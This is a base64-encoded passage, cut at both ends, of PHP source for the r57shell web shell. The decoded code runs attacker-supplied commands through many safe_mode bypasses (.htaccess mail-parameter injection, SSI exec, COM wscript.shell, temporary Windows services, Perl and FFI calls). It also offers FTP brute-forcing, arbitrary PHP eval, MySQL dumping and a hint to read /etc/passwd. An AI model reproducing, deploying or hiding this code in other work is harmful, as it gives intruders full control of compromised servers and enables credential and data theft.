pb25zID1cbmRpc2FibGVfY2xhc3NlcyA9XG5maWxlX3VwbG9hZHMgPSBPblxuYWxsb3dfdXJsX2ZvcGVuID0gT25cbiIpOyANCiAgIEBmY2xvc2UoJGZpbGUpOw0KICAgfQ0KICBicmVhazsNCiAgY2FzZSAndGVzdDEwJzoNCiAgQGVycm9yX2xvZygkX1BPU1RbJ3Rlc3QxMF9jb250ZW50J10sIDMsInBocDovLy4uLy4uLyIuJF9QT1NUWyd0ZXN0MTBfZmlsZSddKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxMSc6DQogIGlmKGZpbGVfZXhpc3RzKCIuL3Jlc3VsdC50eHQiKSAmJiBmaWxlX2V4aXN0cygiLi8uaHRhY2Nlc3MiKSkNCiAgIHsNCiAgIEB1bmxpbmsoIi4vLmh0YWNjZXNzIik7DQogICBAdW5saW5rKCIuL3Jlc3VsdC50eHQiKTsNCiAgIH0NCiAgIGlmICgkaGFuZGxlID0gQGZvcGVuKCIuLy5odGFjY2VzcyIsICd3JykpIHsgQGZ3cml0ZSgkaGFuZGxlLCAicGhwX3ZhbHVlIG1haWwuZm9yY2VfZXh0cmFfcGFyYW1ldGVycyAnLXQgJiYgIi4kX1BPU1RbJ3Rlc3QxMV9jbWQnXS4iID4gIi5kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9yZXN1bHQudHh0JyIpOyBtYWlsKCIiLCAiIiwgIiIpOyB9DQogICAvL3doaWxlKCFmaWxlX2V4aXN0cyhkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9yZXN1bHQudHh0IikpIHNsZWVwKDEpOw0KICAgaWYoJGxpbmVzKSBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRsaW5lKTsgfQ0KICBicmVhazsNCiAgY2FzZSAndGVzdDEyJzoNCiAgaWYgKCRoYW5kbGUgPSBAZm9wZW4oIi4vLmh0YWNjZXNzIiwgJ3cnKSkgeyBAZndyaXRlKCRoYW5kbGUsICJBZGRUeXBlIHRleHQvaHRtbCAuc2h0bWxcclxuQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5zaHRtbFxyXG5PcHRpb25zICtJbmNsdWRlcyIpOyB9DQogIGlmICgkaGFuZGxlID0gQGZvcGVuKCIuL2NtZHNzaS5zaHRtbCIsICd3JykpIHsgQGZ3cml0ZSgkaGFuZGxlLCAnPCEtLSNleGVjIGNtZD0iJy4kX1BPU1RbJ3Rlc3QxMl9jbWQnXS4nIi0tPicpOyB9DQogIC8vIHVybF9mb3BlbiDs7uPl8iDv7vDl5+Dy/CD98vMg9fDl7fwuLi4g8u7j5OAg7/Du8fLuIO7y6vD74uDy/CDx8fvr6vMNCiAgQGluY2x1ZGUoImh0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS5ydHJpbShkaXJuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKSwnL1xcJykuIi9jbWRzc2kuc2h0bWwiKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxMyc6DQogICR0bXAgPSAnJzsNCiAgaWYoQGlzX3dyaXRhYmxlKCRfRU5WWydUTVAnXSkpICR0bXA9JF9FTlZbJ1RNUCddOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShpbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpKSkgJHRtcD1pbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShpbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpKSkgJHRtcD1pbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShkaXJuYW1lKF9fRklMRV9fKSkpICR0bXA9ZGlybmFtZShfX0ZJTEVfXyk7DQogIGVsc2UgYnJlYWs7DQogIEB1bmxpbmsoJHRtcC4nL3Jlc3VsdF90ZXN0MTMudHh0Jyk7DQogICR3c2NyaXB0ID0gbmV3IENPTSgnd3NjcmlwdC5zaGVsbCcpOw0KICAkd3NjcmlwdC0+UnVuKCdjbWQuZXhlIC9jICInLiRfUE9TVFsndGVzdDEzX2NtZCddLiciID4gJy4kdG1wLicvcmVzdWx0X3Rlc3QxMy50eHQnKTsNCiAgd2hpbGUoIWZpbGVfZXhpc3RzKCR0bXAuJy9yZXN1bHRfdGVzdDEzLnR4dCcpKSBzbGVlcCgxKTsNCiAgJGxpbmVzID0gQGZpbGUgKCR0bXAuJy9yZXN1bHRfdGVzdDEzLnR4dCcpOw0KICBpZigkbGluZXMpIGZvcmVhY2ggKCRsaW5lcyBhcyAkbGluZSkgeyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxpbmUpOyB9DQogIEB1bmxpbmsoJHRtcC4nL3Jlc3VsdF90ZXN0MTMudHh0Jyk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTQnOg0KICAkaW9uY3ViZSA9IEBpb25jdWJlX3JlYWRfZmlsZSgkX1BPU1RbJ3Rlc3QxNF9jbWQnXSk7DQogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaW9uY3ViZSk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTUnOg0KICAkdG1wID0gJyc7DQogIGlmKEBpc193cml0YWJsZSgkX0VOVlsnVE1QJ10pKSAkdG1wPSRfRU5WWydUTVAnXTsNCiAgZWxzZWlmKEBpc193cml0ZWFibGUoaW5pX2dldCgnc2Vzc2lvbi5zYXZlX3BhdGgnKSkpICR0bXA9aW5pX2dldCgnc2Vzc2lvbi5zYXZlX3BhdGgnKTsNCiAgZWxzZWlmKEBpc193cml0ZWFibGUoaW5pX2dldCgndXBsb2FkX3RtcF9kaXInKSkpICR0bXA9aW5pX2dldCgndXBsb2FkX3RtcF9kaXInKTsNCiAgZWxzZWlmKEBpc193cml0ZWFibGUoZGlybmFtZShfX0ZJTEVfXykpKSAkdG1wPWRpcm5hbWUoX19GSUxFX18pOw0KICBlbHNlIGJyZWFrOw0KICBAdW5saW5rKCR0bXAuJy9yZXN1bHRfdGVzdDE1LnR4dCcpOw0KICBAd2luX3NoZWxsX2V4ZWN1dGUoImNtZC5leGUiLCIiLCIvYyAiLiRfUE9TVFsndGVzdDE1X2NtZCddLiIgPiAiLiR0bXAuIi9yZXN1bHRfdGVzdDE1LnR4dCIpOw0KICB3aGlsZSghZmlsZV9leGlzdHMoJHRtcC4nL3Jlc3VsdF90ZXN0MTUudHh0JykpIHNsZWVwKDEpOw0KICAkbGluZXMgPSBAZmlsZSAoJHRtcC4nL3Jlc3VsdF90ZXN0MTUudHh0Jyk7DQogIGlmKCRsaW5lcykgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbGluZSk7IH0NCiAgQHVubGluaygkdG1wLicvcmVzdWx0X3Rlc3QxNS50eHQnKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxNic6DQogICR0bXAgPSAnJzsNCiAgaWYoQGlzX3dyaXRhYmxlKCRfRU5WWydUTVAnXSkpICR0bXA9JF9FTlZbJ1RNUCddOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShpbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpKSkgJHRtcD1pbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpOw0KICBpZihAaXNfd3JpdGVhYmxlKGluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJykpKSAkdG1wPWluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJyk7DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGRpcm5hbWUoX19GSUxFX18pKSkgJHRtcD1kaXJuYW1lKF9fRklMRV9fKTsNCiAgZWxzZSBicmVhazsNCiAgJG5hbWU9JHRtcC4iXFwiLnVuaXFpZCgpOw0KICAkbj11bmlxaWQoKTsNCiAgJGNtZD0oZW1wdHkoJF9TRVJWRVJbJ0NPTVNQRUMnXSkpPydjOlxcd2luZG93c1xcc3lzdGVtMzJcXGNtZC5leGUnOiRfU0VSVkVSWydDT01TUEVDJ107DQogIHdpbjMyX2NyZWF0ZV9zZXJ2aWNlKGFycmF5KCdzZXJ2aWNlJz0+JG4sJ2Rpc3BsYXknPT4kbiwncGF0aCc9PiRjbWQsJ3BhcmFtcyc9PiIvYyAiLiRfUE9TVFsndGVzdDE2X2NtZCddLiIgPlwiJG5hbWVcIiIpKTsNCiAgd2luMzJfc3RhcnRfc2VydmljZSgkbik7DQogIHdpbjMyX3N0b3Bfc2VydmljZSgkbik7DQogIHdpbjMyX2RlbGV0ZV9zZXJ2aWNlKCRuKTsNCiAgd2hpbGUoIWZpbGVfZXhpc3RzKCRuYW1lKSkgc2xlZXAoMSk7DQogICRleGVjPWZpbGVfZ2V0X2NvbnRlbnRzKCRuYW1lKTsNCiAgdW5saW5rKCRuYW1lKTsNCiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRleGVjKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxNyc6DQogICRfUE9TVFsndGVzdDE3X2NtZCddID0gc3RyX3JlcGxhY2UoJ1xcJywnXFxcXCcsJF9QT1NUWyd0ZXN0MTdfY21kJ10pOw0KICAkcGVybCA9IG5ldyBQZXJsKCk7DQogICRwZXJsLT5ldmFsKCdwcmludCBgJy4kX1BPU1RbJ3Rlc3QxN19jbWQnXS4nYCcpOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDE4JzoNCiAgaWYoQGlzX3dyaXRhYmxlKCRfRU5WWydUTVAnXSkpICR0bXA9JF9FTlZbJ1RNUCddOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShpbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpKSkgJHRtcD1pbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpOw0KICBpZihAaXNfd3JpdGVhYmxlKGluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJykpKSAkdG1wPWluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJyk7DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGRpcm5hbWUoX19GSUxFX18pKSkgJHRtcD1kaXJuYW1lKF9fRklMRV9fKTsNCiAgZWxzZSBicmVhazsNCiAgJG5hbWU9JHRtcC4iXFwiLnVuaXFpZCgpOw0KICAkYXBpPW5ldyBmZmkoIltsaWI9J2tlcm5lbDMyLmRsbCddIGludCBXaW5FeGVjKGNoYXIgKkFQUCxpbnQgU1cpOyIpOw0KICAkcmVzPSRhcGktPldpbkV4ZWMoImNtZC5leGUgL2MgIi4kX1BPU1RbJ3Rlc3QxOF9jbWQnXS4iID5cIiRuYW1lXCIiLDApOw0KICB3aGlsZSghZmlsZV9leGlzdHMoJG5hbWUpKSBzbGVlcCgxKTsNCiAgJGV4ZWM9ZmlsZV9nZXRfY29udGVudHMoJG5hbWUpOw0KICB1bmxpbmsoJG5hbWUpOw0KICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGV4ZWMpOw0KICBicmVhazsNCiAgDQogfQ0KfQ0KZWxzZSBpZigoJF9QT1NUWydjbWQnXSE9InBocF9ldmFsIikmJigkX1BPU1RbJ2NtZCddIT0ibXlzcWxfZHVtcCIpJiYoJF9QT1NUWydjbWQnXSE9ImRiX3F1ZXJ5IikmJigkX1BPU1RbJ2NtZCddIT0iZnRwX2JydXRlIikpew0KICRjbWRfcmVwID0gZXgoJF9QT1NUWydjbWQnXSk7DQogaWYoISR1bml4KSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoQGNvbnZlcnRfY3lyX3N0cmluZygkY21kX3JlcCwnZCcsJ3cnKSkuIlxuIjsgfQ0KIGVsc2UgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRjbWRfcmVwKS4iXG4iOyB9fQ0KaWYgKCRfUE9TVFsnY21kJ109PSJmdHBfYnJ1dGUiKQ0KIHsNCiAkc3VjID0gMDsNCiBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikNCiAgewkNCiAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsJDQogIGlmKEBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJHVzZXIsJHVzZXIpKSB7IGVjaG8gIlsrXSAkdXNlcjokdXNlciAtIHN1Y2Nlc3NcclxuIjsgJHN1YysrOyB9DQogIGVsc2UgaWYoaXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pKSB7IGlmKEBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJHVzZXIsc3RycmV2KCR1c2VyKSkpIHsgZWNobyAiWytdICR1c2VyOiIuc3RycmV2KCR1c2VyKS4iIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0gfSANCiAgQGZ0cF9jbG9zZSgkY29ubmVjdGlvbik7DQogIH0NCiBlY2hvICJcclxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4iOw0KICRjb3VudCA9IGNvdW50KCR1c2Vycyk7DQogaWYoaXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pKSB7ICRjb3VudCAqPSAyOyB9DQogZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTcnXS4kY291bnQuIlxyXG4iOw0KIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk4J10uJHN1Yy4iXHJcbiI7DQogfQ0KaWYgKCRfUE9TVFsnY21kJ109PSJwaHBfZXZhbCIpew0KICRldmFsID0gQHN0cl9yZXBsYWNlKCI8PyIsIiIsJF9QT1NUWydwaHBfZXZhbCddKTsNCiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPz4iLCIiLCRldmFsKTsNCiBAZXZhbCgkZXZhbCk7fQ0KaWYgKCRfUE9TVFsnY21kJ109PSJteXNxbF9kdW1wIikNCiB7DQogIGlmKGlzc2V0KCRfUE9TVFsnZGlmJ10pKSB7ICRmcCA9IEBmb3BlbigkX1BPU1RbJ2RpZl9uYW1lJ10sICJ3Iik7IH0NCiAgJHNxbCA9IG5ldyBteV9zcWwoKTsNCiAgJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiAgJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107DQogICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsNCiAgJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOw0KICAkc3FsLT5wYXNzID0gJF9QT1NUWydteXNxbF9wJ107CQ0KICAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOw0KICBpZighJHNxbC0+Y29ubmVjdCgpKSB7IGVjaG8gIlstXSBFUlJPUiEgIi4kc3FsLT5lcnJvcjsgfQ0KICBlbHNlIGlmKCEkc3FsLT5zZWxlY3RfZGIoKSkgeyBlY2hvICJbLV0gRVJST1IhICIuJHNxbC0+ZXJyb3I7IH0NCiAgZWxzZSBpZighJHNxbC0+ZHVtcCgkX1BPU1RbJ215c3FsX3RibCddKSkgeyBlY2hvICJbLV0gRVJST1IhICIuJHNxbC0+ZXJyb3I7IH0NCiAgZWxzZSB7DQogICBpZihlbXB0eSgkX1BPU1RbJ2RpZiddKSkgeyBmb3JlYWNoKCRzcWwtPmR1bXAgYXMgJHYpIGVjaG8gJHYuIlxyXG4iOyB9DQogICBlbHNlIGlmKCRmcCl7IGZvcmVhY2goJHNxbC0+ZHVtcCBhcyAkdikgQGZwdXRzKCRmcCwkdi4iXHJcbiIpOyB9IA0KICAgZWxzZSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgd3JpdGUgaW4gIi4kX1BPU1RbJ2RpZiddOyB9DQogICB9DQogfSANCmVjaG8gIjwvdGV4dGFyZWE+PC9kaXY+IjsNCmVjaG8gIjwvYj4iOw0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCmVjaG8gIjxkaXYgY2xhc3M9J2Jsb2NrJyBzdHlsZT0nZGlzcGxheTogbm9uZTsnIGlkPSdsb2FkJz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4gTG9hZGluZy4uLiA8L2I+PC9mb250PjwvZGl2PiI7DQplY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+IjsNCmZ1bmN0aW9uIGRpdl90aXRsZSgkdGl0bGUsICRpZCkNCnsNCiAgcmV0dXJuICc8YSBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgb25DbGljaz0iY2hhbmdlX2RpdnN0KFwnJy4kaWQuJ1wnKTsiPicuJHRpdGxlLic8L2E+JzsNCn0NCmZ1bmN0aW9uIGRpdigkaWQpDQogeyANCiBpZihpc3NldCgkX0NPT0tJRVskaWRdKSAmJiAkX0NPT0tJRVskaWRdPT0wKSByZXR1cm4gJzxkaXYgaWQ9IicuJGlkLiciIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+JzsgCQ0KIHJldHVybiAnPGRpdiBpZD0iJy4kaWQuJyI+JzsNCiB9DQppZighJHNhZmVfbW9kZSl7DQplY2hvICc8Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Qgb25zdWJtaXQ9InJldHVybiBmYWxzZSI+Jy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MiddLCdpZDEnKS4kdGFibGVfdXAyLmRpdignaWQxJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdjbWQgaWQ9ImFqYXhfY21kIiBvbmtleXVwPSJrZXlFKGV2ZW50KSInLDg1LCcnKS53cyg0KS4nPG5vc2NyaXB0PicuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKS4nPC9ub3NjcmlwdD4nKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyIGlkPSJhamF4X2RpciInLDg1LCRkaXIpLndzKDQpKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVsc2V7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjgnXSwnaWQyJykuJHRhYmxlX3VwMi5kaXYoJ2lkMicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdzYWZlX2RpcicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDYnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQyJ10sJ2lkMycpLiR0YWJsZV91cDIuZGl2KCdpZDMnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdlX25hbWUnLDg1LCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2VkaXRfZmlsZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTEnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KaWYoJHNhZmVfbW9kZSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTcnXSwnaWQ0JykuJHRhYmxlX3VwMi5kaXYoJ2lkNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ21rX25hbWUnLDU0LCghZW1wdHkoJF9QT1NUWydta19uYW1lJ10pPygkX1BPU1RbJ21rX25hbWUnXSk6KCJuZXdfbmFtZSIpKSkud3MoNCkuIjxzZWxlY3QgbmFtZT1hY3Rpb24+PG9wdGlvbiB2YWx1ZT1jcmVhdGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4iPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1kZWxldGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjYnXS4iPC9vcHRpb24+PC9zZWxlY3Q+Ii53cygzKS4iPHNlbGVjdCBuYW1lPXdoYXQ+PG9wdGlvbiB2YWx1ZT1maWxlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uIjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ZGlyPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYwJ10uIjwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWsnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEzJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUgJiYgJHVuaXgpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY3J10sJ2lkNScpLiR0YWJsZV91cDIuZGl2KCdpZDUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2OCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT13aGF0PjxvcHRpb24gdmFsdWU9bW9kPkNITU9EPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1vd24+Q0hPV048L29wdGlvbj48b3B0aW9uIHZhbHVlPWdycD5DSEdSUDwvb3B0aW9uPjwvc2VsZWN0PiIud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY5J10uJGFycm93LiI8L2I+Ii53cygyKS5pbigndGV4dCcsJ3BhcmFtMScsNDAsKCgkX1BPU1RbJ3BhcmFtMSddKT8oJF9QT1NUWydwYXJhbTEnXSk6KCJmaWxlbmFtZSIpKSkud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDcwJ10uJGFycm93LiI8L2I+Ii53cygyKS5pbigndGV4dCcsJ3BhcmFtMiB0aXRsZT0iJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzEnXS4nIicsMjYsKCgkX1BPU1RbJ3BhcmFtMiddKT8oJF9QT1NUWydwYXJhbTInXSk6KCIwNzc3IikpKS5pbignaGlkZGVuJywnY21kJywwLCdjaF8nKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoISRzYWZlX21vZGUpew0KJGFsaWFzZXMyID0gJyc7CQ0KZm9yZWFjaCAoJGFsaWFzZXMgYXMgJGFsaWFzX25hbWU9PiRhbGlhc19jbWQpDQogew0KICRhbGlhc2VzMiAuPSAiPG9wdGlvbj4kYWxpYXNfbmFtZTwvb3B0aW9uPiI7DQogfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDcnXSwnaWQ2JykuJHRhYmxlX3VwMi5kaXYoJ2lkNicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIud3MoOSkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgnXS4kYXJyb3cud3MoNCkuIjwvYj4iLCI8c2VsZWN0IG5hbWU9YWxpYXM+Ii4kYWxpYXNlczIuIjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NCddLCdpZDcnKS4kdGFibGVfdXAyLmRpdignaWQ3JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9vdDsvaG9tZTsvdG1wICkiKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU1J10uJGFycm93LiI8L2I+IixpbignY2hlY2tib3gnLCdtIGlkPW0nLDAsJzEnKS5pbigndGV4dCcsJ3NfbWFzaycsODIsJy50eHQ7LnBocCcpLiIqICggLnR4dDsucGhwOy5odG0gKSIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2VhcmNoX3RleHQnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmlmKCEkc2FmZV9tb2RlICYmICR1bml4KXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NiddLCdpZDgnKS4kdGFibGVfdXAyLmRpdignaWQ4JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDczJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9vdDsvaG9tZTsvdG1wICkiKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDc0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfbWFzaycsODUsJyouW2hjXScpLndzKDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NSddLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2ZpbmRfdGV4dCcpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMyJ10sJ2lkOScpLiR0YWJsZV91cDIuJGZvbnQ7DQplY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iLmRpdignaWQ5JykuIjx0ZXh0YXJlYSBuYW1lPXBocF9ldmFsIGNvbHM9MTAwIHJvd3M9NT4iOw0KZWNobyAoIWVtcHR5KCRfUE9TVFsncGhwX2V2YWwnXSk/KCRfUE9TVFsncGhwX2V2YWwnXSk6KCIvKiBkZWxldGUgc2NyaXB0ICovXHJcbi8vdW5saW5rKFwicjU3c2hlbGwucGhwXCIpO1xyXG4vL3JlYWRmaWxlKFwiL2V0Yy9wYXNzd2RcIik7XHJcbiIpKTsNCmVjaG8gIjwvdGV4dGFyZWE+IjsNCmVjaG8gaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdwaHBfZXZhbCcpOw0KZWNobyAiPGJyPiIud3MoMSkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKTsNCmVjaG8gIjwvZGl2PjwvZGl2PjwvZm9udD4iOw0KZWNobyAkdGFibGVfZW5kMS4kZmU7DQppZigkc2FmZV9tb2RlJiYkY